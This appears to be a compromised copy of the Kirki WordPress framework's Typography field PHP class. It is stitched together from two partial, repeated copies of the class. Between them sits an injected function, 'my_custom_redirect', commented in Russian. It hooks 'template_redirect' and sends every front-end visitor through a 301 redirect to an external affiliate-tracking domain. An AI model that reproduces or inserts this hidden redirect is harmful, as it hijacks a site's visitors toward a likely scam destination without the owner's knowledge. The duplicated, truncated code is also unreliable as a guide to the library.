'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => 